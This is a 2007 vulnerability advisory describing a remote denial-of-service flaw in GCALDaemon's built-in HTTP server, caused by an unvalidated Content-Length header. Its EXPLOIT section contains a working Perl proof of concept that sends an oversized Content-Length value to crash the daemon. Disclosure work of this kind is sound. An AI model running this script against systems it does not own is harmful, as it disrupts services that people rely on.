gcaldaemon-dos.txt

`Secure Network - Security Research Advisory  
  
Vuln name: GCALDaemon Remote DoS  
Systems affected: GCALDaemon 1.0-beta13 (all platforms)  
Systems not affected: -  
Severity: Low  
Local/Remote: Remote  
Vendor URL: http://gcaldaemon.sourceforge.net/  
Author(s): Luca "ikki" Carettoni - [email protected]  
Vendor disclosure: 22nd August 2007  
Vendor acknowledged: 22nd August 2007  
Vendor patch release: n/a  
Public disclosure: 18th September 2007  
Advisory number: SN-2007-01  
Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com  
  
*** SUMMARY ***  
  
GCALDaemon is an OS-independent Java program that offers two-way synchronization between Google Calendar and various iCalendar compatible calendar applications. GCALDaemon is primarily designed as a calendar synchronizer but it can also be used as a Gmail notifier, Address Book importer, Gmail terminal and RSS feed converter.  
  
Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over HTTP, by uploading their file via an HTTP PUT and getting/refreshing their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this HTTP messages in sync with a specified Google Calendar. An input validation flaw permits to craft an HTTP request with an abnormal content-length value; this malformed request could trigger a denial of service that arises from a Java out of memory fatal error.  
  
*** VULNERABILITY DETAILS ***  
  
Using a crafted HTTP request, an attacker could trigger a denial of service that arises from a java.lang.OutOfMemoryError when the Java heap space is overfilled.  
In the file "org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's built-in HTTP server parses the HTTP request and the HTTP header parameters without validation checkpoints.  
In the line of code "490:org/gcaldaemon/core/http/HTTPListener.java" the "Content-Length" header parameter is used to create a new byte array; when the size of this structure is big enough, it could trigger a Java fatal error that blocks the HTTP daemon:  
  
Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap space  
at org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490)  
at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167)  
  
*** EXPLOIT ***  
  
The provided proof-of-concept can trigger the issue.  
  
--------------------------------------------  
#!/usr/bin/perl  
  
use strict;  
use warnings;  
use IO::Socket;  
  
my $host = shift || die "Usage: $0 host [port]\n";  
my $port = shift || 9090;  
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp')  
or die "error: $!\n";  
print "GCALDaemom DoS Expoit\n";  
print "Just 4 seconds...\n";  
sleep 4;  
$sock->send("GET / HTTP/1.1\r\n");  
$sock->send("Content-Length: 1000000000\r\n\r\n");  
$sock->close;  
print "\n\nNo more sync!\n";  
--------------------------------------------  
  
*** FIX INFORMATION ***  
  
This bug will be fixed in the next version of GCALDaemon.  
Thanks to the GCALDaemon's developers for the great tool.  
  
*** WORKAROUNDS ***  
  
It should be noted that the web server has the possibility to set a group of allowed hostnames or IP addresses; the default configuration is "allow ALL".  
Users may be restricted setting the allowed hosts so that remote aggressors cannot trigger this flaw.  
  
*********************  
*** LEGAL NOTICES ***  
*********************  
  
Secure Network (www.securenetwork.it) is an information security company,  
which provides consulting and training services, and engages in security  
research and development.  
  
We are committed to open, full disclosure of vulnerabilities, cooperating  
with software developers for properly handling disclosure issues.  
  
This advisory is copyright © 2007 Secure Network S.r.l. Permission is  
hereby granted for the redistribution of this alert, provided that it is  
not altered except by reformatting it, and that due credit is given. It  
may not be edited in any way without the express consent of Secure Network  
S.r.l. Permission is explicitly given for insertion in vulnerability  
databases and similars, provided that due credit is given to Secure Network  
  
The information in the advisory is believed to be accurate at the time of  
publishing based on currently available information. This information is  
provided as-is, as a free service to the community by Secure Network  
research staff. There are no warranties with regard to this information.  
Secure Network does not accept any liability for any direct, indirect,  
or consequential loss or damage arising from use of, or reliance on,  
this information.  
  
If you have any comments or inquiries, or any issue with what is reported  
in this advisory, please inform us as soon as possible.  
  
E-mail: [email protected]  
GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc  
Phone: +39 0363 560 404  
`